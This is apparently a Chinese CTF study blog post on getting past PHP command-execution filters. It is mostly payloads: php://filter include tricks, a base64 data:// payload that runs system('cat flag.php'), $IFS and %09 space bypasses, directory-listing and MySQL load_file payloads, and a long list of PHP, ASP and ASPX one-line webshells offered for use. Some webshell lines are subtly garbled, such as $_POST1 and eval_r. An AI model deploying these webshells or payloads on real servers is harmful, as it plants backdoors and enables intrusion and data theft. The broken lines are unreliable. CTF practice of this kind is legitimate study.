命令执行绕过总结

无参数命令执行

详见我的另一篇博客

传入变量进行命令执行


可以传入c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
实验一下
实验源代码如下:

结果如下:

发现并没有将后面的参数传进去,也就不会进行匹配
找到flag:

这里有一个小贴士

这道题过滤了""我们就可以使用
include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
这里使用?>是因为过滤了;使用这个来代替
不过有一个问题,这里的1要理解一下并不是变量而是参数,变量必须以字母或_开头不能以数字开头

使用data协议进行命令执行

源代码如下:

payload=c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
<?php system('cat flag.php');?>

使用$IFS环境变量绕过空格

当题目命令执行过滤了空格时我们可以使用$IFS来代替
IFS表示 Internal Field Separator (内部字段分隔符)

$ IFS=:
$ a=Hello:World
$ echo $a

输出的是hello world 而不是hello:world
默认是空格好符,在编程中可以指定为别的分隔符,例如:

#!/bin/bash
#filename:do.sh
oldIFS=$IFS
IFS=;
a=hello;word
echo $a
IFS=$oldIFs

几种查看文件内容的命令

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:
grep test *file
strings

其他的一些绕过方式
*替换为?
空格替换为%09
%替换为<>
''\分割绕过

关于antsword连接一句话木马的一些思考

之前一直不太理解为什么放上去一句话木马,再用antsword或者菜刀连接就getshell了呢,在学习命令执行的过程中逐渐理解
其实我们传进去的一句话木马就是一个小型的shell终端,一个执行命令的接口来接收我们所传过去的命令并执行,我们放上去一句话木马其实相当于在服务器上创造了一个命令执行的漏洞,然后我们利用这个后门进行后续操作
这里有一些常用的一句话木马

<?php eval($_POST1);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$_($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容错代码
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
<?$_POST['c']($_POST['cc']);?>
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
<?php echo `$_GET['r']` ?>
//绕过<?限制的一句话
<script language="php">@eval_r($_POST[sb])</script>
 
//绕过<?php ?>限制的一句话 
 
<?=eval($_POST['cmd']);
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

遍历目录

c=$d=opendir("../../../");while(false!==($f=readdir($d))){echo"$f\n";}
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};

使用mysql_loadfile读取文件

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
posted @ 2021-11-08 15:27  无据  阅读(677)  评论(0编辑  收藏  举报